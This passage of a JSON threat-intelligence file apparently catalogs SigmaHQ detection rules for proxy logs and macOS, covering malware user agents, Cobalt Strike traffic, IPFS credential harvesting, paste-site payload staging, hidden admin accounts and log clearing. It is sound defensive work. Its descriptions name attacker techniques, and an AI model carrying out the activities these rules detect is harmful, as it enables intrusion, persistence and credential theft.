          "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
          "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_telegram_api.yml"
        ],
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          "attack.defense_evasion",
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      },
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          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
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          "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
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      "uuid": "b494b165-6634-483d-8c47-2026a6c52372",
      "value": "Telegram API Access"
    },
    {
      "description": "Detects executable downloads from suspicious remote systems",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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          "All kind of software downloads"
        ],
        "filename": "proxy_download_susp_tlds_whitelist.yml",
        "level": "low",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_download_susp_tlds_whitelist.yml"
        ],
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          "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b",
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        {
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
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          ],
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      ],
      "uuid": "b5de2919-b74a-4805-91a7-5049accbaefe",
      "value": "Download From Suspicious TLD - Whitelist"
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      "description": "Detects suspicious user agent strings used by malware in proxy logs",
      "meta": {
        "author": "Florian Roth (Nextron Systems), X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2017/07/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proxy_ua_malware.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules",
          "https://pbs.twimg.com/media/FtYbfsDXoAQ1Y8M?format=jpg&name=large",
          "https://perishablepress.com/blacklist/ua-2013.txt",
          "https://twitter.com/kladblokje_88/status/1614673320124743681?s=12&t=joEpeVa5d58aHYNGA_To7Q",
          "https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents",
          "http://www.botopedia.org/search?searchword=scan&searchphrase=all",
          "https://networkraptor.blogspot.com/2015/01/user-agent-strings.html",
          "https://twitter.com/crep1x/status/1635034100213112833",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_malware.yml"
        ],
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        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
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      "uuid": "5c84856b-55a5-45f1-826f-13f37250cf4e",
      "value": "Malware User Agent"
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      "description": "Detects connections to interplanetary file system (IPFS) containing a user's email address which mirrors behaviours observed in recent phishing campaigns leveraging IPFS to host credential harvesting webpages.",
      "meta": {
        "author": "Gavin Knapp",
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        ],
        "filename": "proxy_susp_ipfs_cred_harvest.yml",
        "level": "low",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://blog.talosintelligence.com/ipfs-abuse/",
          "https://github.com/Cisco-Talos/IOCs/tree/80caca039988252fbb3f27a2e89c2f2917f582e0/2022/11",
          "https://isc.sans.edu/diary/IPFS%20phishing%20and%20the%20need%20for%20correctly%20set%20HTTP%20security%20headers/29638",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_susp_ipfs_cred_harvest.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1056"
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      },
      "related": [
        {
          "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "eb6c2004-1cef-427f-8885-9042974e5eb6",
      "value": "Suspicious Network Communication With IPFS"
    },
    {
      "description": "Detects Bitsadmin connections to IP addresses instead of FQDN names",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/06/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proxy_ua_bitsadmin_susp_ip.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_bitsadmin_susp_ip.yml"
        ],
        "tags": [
          "attack.command_and_control",
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      ],
      "uuid": "8ccd35a2-1c7c-468b-b568-ac6cdf80eec3",
      "value": "Bitsadmin to Uncommon IP Server Address"
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      "description": "Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string",
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          "Valid requests with this exact user agent to that is used by legitimate scripts or sysadmin operations"
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        "filename": "proxy_ua_rclone.yml",
        "level": "medium",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://rclone.org/",
          "https://www.kroll.com/en/insights/publications/cyber/new-m365-business-email-compromise-attacks-with-rclone",
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          "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b",
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      "value": "Rclone Activity via Proxy"
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      "description": "Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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          "Web vulnerability scanners"
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        "filename": "proxy_exchange_owassrf_exploitation.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://www.rapid7.com/blog/post/2022/12/21/cve-2022-41080-cve-2022-41082-rapid7-observed-exploitation-of-owassrf-in-exchange-for-rce/",
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      "uuid": "1ddf4596-1908-43c9-add2-1d2c2fcc4797",
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      "description": "Detects suspicious user agent strings used by crypto miners in proxy logs",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/10/21",
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          "Unknown"
        ],
        "filename": "proxy_ua_cryptominer.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h",
          "https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65",
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        ],
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          "attack.command_and_control",
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      "uuid": "fa935401-513b-467b-81f4-f9e77aa0dd78",
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      "description": "Detects download of Ursnif malware done by dropper documents.",
      "meta": {
        "author": "Thomas Patzke",
        "creation_date": "2019/12/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proxy_ursnif_malware_download_url.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ursnif_malware_download_url.yml"
        ],
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        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
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      ],
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      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proxy_ios_implant.yml",
        "level": "critical",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html",
          "https://twitter.com/craiu/status/1167358457344925696",
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        ],
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          "attack.execution",
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      "description": "Detects POST requests to the F5 BIG-IP iControl Rest API \"bash\" endpoint, which allows the execution of commands on the BIG-IP",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Thurein Oo",
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          "Legitimate usage of the BIG IP REST API to execute command for administration purposes"
        ],
        "filename": "proxy_f5_tm_utility_bash_api_request.yml",
        "level": "medium",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://f5-sdk.readthedocs.io/en/latest/apidoc/f5.bigip.tm.util.html#module-f5.bigip.tm.util.bash",
          "https://community.f5.com/t5/technical-forum/running-bash-commands-via-rest-api/td-p/272516",
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        {
          "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
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      "description": "Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/05/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proxy_cobalt_malformed_uas.yml",
        "level": "critical",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_cobalt_malformed_uas.yml"
        ],
        "tags": [
          "attack.defense_evasion",
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      },
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      "description": "Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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          "User activity (e.g. developer that shared and copied code snippets and used the raw link instead of just copy & paste)"
        ],
        "filename": "proxy_raw_paste_service_access.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://www.virustotal.com/gui/domain/paste.ee/relations",
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        ],
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        "filename": "proxy_adv_ip_port_scanner_upd_check.yml",
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        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://www.advanced-ip-scanner.com/",
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        ],
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        ],
        "filename": "proxy_ua_base64_encoded.yml",
        "level": "medium",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://deviceatlas.com/blog/list-of-user-agent-strings#desktop",
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        ],
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        "author": "Florian Roth (Nextron Systems)",
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        "filename": "proxy_download_susp_tlds_blacklist.yml",
        "level": "low",
        "logsource.category": "proxy",
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          "https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf",
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        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
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      "description": "Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity",
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        "author": "Florian Roth (Nextron Systems)",
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          "Unknown"
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        "filename": "proxy_pwndrop.yml",
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        "logsource.category": "proxy",
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        "refs": [
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        "filename": "proxy_cobalt_ocsp.yml",
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        "logsource.category": "proxy",
        "logsource.product": "No established product",
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      "description": "Detects Windows PowerShell Web Access",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/13",
        "falsepositive": [
          "Administrative scripts that download files from the Internet",
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        ],
        "filename": "proxy_powershell_ua.yml",
        "level": "medium",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://msdn.microsoft.com/powershell/reference/5.1/microsoft.powershell.utility/Invoke-WebRequest",
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      "meta": {
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          "Unknown"
        ],
        "filename": "proxy_java_class_download.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
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        "refs": [
          "Internal research from Florian Roth",
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        "filename": "proxy_empty_ua.yml",
        "level": "medium",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://twitter.com/Carlos_Perez/status/883455096645931008",
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          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
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        "author": "Florian Roth (Nextron Systems)",
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        "filename": "proxy_susp_flash_download_loc.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
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      "value": "Flash Player Update from Suspicious Location"
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      "description": "Detects URL pattern used by search(-ms)/WebDAV initial access campaigns.",
      "meta": {
        "author": "Micah Babinski",
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          "Unknown"
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        "filename": "proxy_webdav_search_ms.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462",
          "https://www.trellix.com/en-us/about/newsroom/stories/research/beyond-file-search-a-novel-method.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_webdav_search_ms.yml"
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      "uuid": "5039f3d2-406a-4c1a-9350-7a5a85dc84c2",
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      "description": "Detects creation of startup item plist files that automatically get executed at boot initialization to establish persistence.",
      "meta": {
        "author": "Alejandro Ortuno, oscd.community",
        "creation_date": "2020/10/14",
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        "filename": "file_event_macos_startup_items.yml",
        "level": "low",
        "logsource.category": "file_event",
        "logsource.product": "macos",
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          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.005/T1037.005.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_startup_items.yml"
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      "description": "Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.",
      "meta": {
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          "Legitimate administration activities"
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        "filename": "file_event_macos_emond_launch_daemon.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "macos",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md",
          "https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124",
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      "meta": {
        "author": "Sohan G (D4rkCiph3r)",
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          "Unknown"
        ],
        "filename": "proc_creation_macos_jxa_in_memory_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
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        "author": "Sohan G (D4rkCiph3r)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_macos_office_susp_child_processes.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://objective-see.org/blog/blog_0x4B.html",
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      "description": "Detects usage of system utilities (only grep for now) to discover security software discovery",
      "meta": {
        "author": "Daniil Yugoslavskiy, oscd.community",
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          "Legitimate activities"
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        "filename": "proc_creation_macos_security_software_discovery.yml",
        "level": "medium",
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        "logsource.product": "macos",
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          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md",
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        "author": "Sohan G (D4rkCiph3r)",
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          "Unknown"
        ],
        "filename": "proc_creation_macos_osacompile_runonly_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
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        "filename": "proc_creation_macos_screencapture.yml",
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        "logsource.category": "process_creation",
        "logsource.product": "macos",
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          "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py",
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          "Unlikely"
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        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_clipboard_data_via_osascript.yml"
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      "description": "Detects usage of system utilities to discover files and directories",
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        "filename": "proc_creation_macos_file_and_directory_discovery.yml",
        "level": "informational",
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        }
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      "value": "File and Directory Discovery - MacOS"
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      "description": "Detects execution of AppleScript of the macOS scripting language AppleScript.",
      "meta": {
        "author": "Alejandro Ortuno, oscd.community",
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          "Application installers might contain scripts as part of the installation process."
        ],
        "filename": "proc_creation_macos_applescript.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://redcanary.com/blog/applescript/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.002/T1059.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_applescript.yml"
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      "description": "Detects potential suspicious applet or osascript executing \"osacompile\".",
      "meta": {
        "author": "Sohan G (D4rkCiph3r), Red Canary (Idea)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_macos_suspicious_applet_behaviour.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://redcanary.com/blog/mac-application-bundles/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_suspicious_applet_behaviour.yml"
        ],
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          "attack.t1059.002"
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        {
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      "description": "Detects macOS Gatekeeper bypass via xattr utility",
      "meta": {
        "author": "Daniil Yugoslavskiy, oscd.community",
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          "Legitimate activities"
        ],
        "filename": "proc_creation_macos_xattr_gatekeeper_bypass.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
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          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.001/T1553.001.md",
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      "description": "Detects attempts to enable the root account via \"dsenableroot\"",
      "meta": {
        "author": "Sohan G (D4rkCiph3r)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_macos_dsenableroot_enable_root_account.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://ss64.com/osx/dsenableroot.html",
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        ],
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          "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2",
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        "author": "Alejandro Ortuno, oscd.community",
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        "filename": "proc_creation_macos_network_service_scanning.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_service_scanning.yml"
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        {
          "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
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        "author": "Sohan G (D4rkCiph3r)",
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        "falsepositive": [
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        "filename": "proc_creation_macos_susp_browser_child_process.yml",
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        "logsource.product": "macos",
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          "https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/execution_initial_access_suspicious_browser_childproc.toml",
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      "description": "Detects potential suspicious child processes of \"jamf\". Could be a sign of potential abuse of Jamf as a C2 server as seen by Typhon MythicAgent.",
      "meta": {
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        "falsepositive": [
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        "level": "medium",
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        "logsource.product": "macos",
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          "https://www.zoocoup.org/casper/jamf_cheatsheet.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_jamf_susp_child.yml"
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        "author": "Tim Rauch (rule), Elastic (idea)",
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        "falsepositive": [
          "Unknown"
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        "logsource.product": "macos",
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          "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685",
          "https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/",
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        "author": "Sohan G (D4rkCiph3r)",
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        "falsepositive": [
          "Unknown"
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        "filename": "proc_creation_macos_persistence_via_plistbuddy.yml",
        "level": "high",
        "logsource.category": "process_creation",
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        "refs": [
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_persistence_via_plistbuddy.yml"
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        "author": "Sohan G (D4rkCiph3r)",
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        "falsepositive": [
          "Unknown"
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        "filename": "proc_creation_macos_sysadminctl_enable_guest_account.yml",
        "level": "low",
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        "refs": [
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      "meta": {
        "author": "Igor Fits, Mikhail Larin, oscd.community",
        "creation_date": "2020/10/19",
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        "level": "high",
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      "meta": {
        "author": "Alejandro Ortuno, oscd.community",
        "creation_date": "2020/10/06",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_macos_create_account.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md",
          "https://ss64.com/osx/sysadminctl.html",
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        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_macos_susp_find_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes",
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      "meta": {
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        "filename": "proc_creation_macos_create_hidden_account.yml",
        "level": "medium",
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      "value": "Hidden User Creation"
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      "description": "Detects commandline operations on shell history files",
      "meta": {
        "author": "Mikhail Larin, oscd.community",
        "creation_date": "2020/10/17",
        "falsepositive": [
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          "Legitimate software, cleaning hist file"
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        "filename": "proc_creation_macos_susp_histfile_operations.yml",
        "level": "medium",
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        "refs": [
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        "refs": [
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      "meta": {
        "author": "Tim Rauch (rule), Elastic (idea)",
        "creation_date": "2022/10/17",
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          "Unknown"
        ],
        "filename": "proc_creation_macos_xcsset_malware_infection.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08",
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        "level": "high",
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        "logsource.product": "macos",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md",
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        {
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      "description": "Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.",
      "meta": {
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          "Legitimate administration activities"
        ],
        "filename": "proc_creation_macos_susp_macos_firmware_activity.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://support.apple.com/guide/security/firmware-password-protection-sec28382c9ca/web",
          "https://www.manpagez.com/man/8/firmwarepasswd/",
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      "description": "Detects attempts to create and add an account to the admin group via \"dscl\"",
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        "filename": "proc_creation_macos_dscl_add_user_to_admin_group.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-2---create-local-account-with-admin-privileges---macos",
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    {
      "description": "Detect file time attribute change to hide new or changes to existing files",
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        "falsepositive": [
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        "filename": "proc_creation_macos_change_file_time_attr.yml",
        "level": "medium",
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        "logsource.product": "macos",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_change_file_time_attr.yml"
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      "meta": {
        "author": "Tim Rauch (rule), Elastic (idea)",
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          "Unknown"
        ],
        "filename": "proc_creation_macos_payload_decoded_and_decrypted.yml",
        "level": "medium",
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        "refs": [
          "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d42c3d772e04f1e8d0eb60f5233bc79def1ea73105a2d8822f44164f77ef823",
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        "filename": "proc_creation_macos_space_after_filename.yml",
        "level": "low",
        "logsource.category": "process_creation",
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        "author": "Sohan G (D4rkCiph3r), Red Canary (idea)",
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        "falsepositive": [
          "Unknown"
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        "filename": "proc_creation_macos_susp_in_memory_download_and_compile.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
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        "filename": "proc_creation_macos_local_groups.yml",
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          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md",
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        "author": "Alejandro Ortuno, oscd.community",
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          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md",
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        "author": "Alejandro Ortuno, oscd.community",
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        "filename": "proc_creation_macos_remote_system_discovery.yml",
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          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md",
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        "filename": "proc_creation_macos_dseditgroup_add_to_admin_group.yml",
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        "author": "Igor Fits, Mikhail Larin, oscd.community",
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        "filename": "proc_creation_macos_installer_susp_child_process.yml",
        "level": "medium",
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          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e0cfaecd-602d-41af-988d-f6ccebb2af26",
      "value": "Suspicious Installer Package Child Process"
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    {
      "description": "Detects attempts to use system dialog prompts to capture user credentials",
      "meta": {
        "author": "remotephone, oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Legitimate administration tools and activities"
        ],
        "filename": "proc_creation_macos_gui_input_capture.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md",
          "https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_gui_input_capture.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1056.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "60f1ce20-484e-41bd-85f4-ac4afec2c541",
      "value": "GUI Input Capture - macOS"
    },
    {
      "description": "Detects attempts to create and add an account to the admin group via \"sysadminctl\"",
      "meta": {
        "author": "Sohan G (D4rkCiph3r)",
        "creation_date": "2023/03/19",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_macos_sysadminctl_add_user_to_admin_group.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://ss64.com/osx/sysadminctl.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-3---create-local-account-with-admin-privileges-using-sysadminctl-utility---macos",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_add_user_to_admin_group.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.privilege_escalation",
          "attack.t1078.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "652c098d-dc11-4ba6-8566-c20e89042f2b",
      "value": "User Added To Admin Group Via Sysadminctl"
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    {
      "description": "Detects enumeration of local systeam accounts on MacOS",
      "meta": {
        "author": "Alejandro Ortuno, oscd.community",
        "creation_date": "2020/10/08",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_macos_local_account.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_account.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1087.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ddf36b67-e872-4507-ab2e-46bda21b842c",
      "value": "Local System Accounts Discovery - MacOs"
    },
    {
      "description": "Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.",
      "meta": {
        "author": "Tim Rauch (rule), Elastic (idea)",
        "creation_date": "2022/10/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_macos_wizardupdate_malware_infection.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/",
          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset",
          "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-c68a1fcbf7a3f80c87225d7fdc031f691e9f3b6a14a36754be00762bfe6eae97",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_wizardupdate_malware_infection.yml"
        ],
        "tags": [
          "attack.command_and_control"
        ]
      },
      "uuid": "f68c4a4f-19ef-4817-952c-50dce331f4b0",
      "value": "Potential WizardUpdate Malware Infection"
    },
    {
      "description": "Detects deletion of local audit logs",
      "meta": {
        "author": "remotephone, oscd.community",
        "creation_date": "2020/10/11",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_macos_clear_system_logs.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_clear_system_logs.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
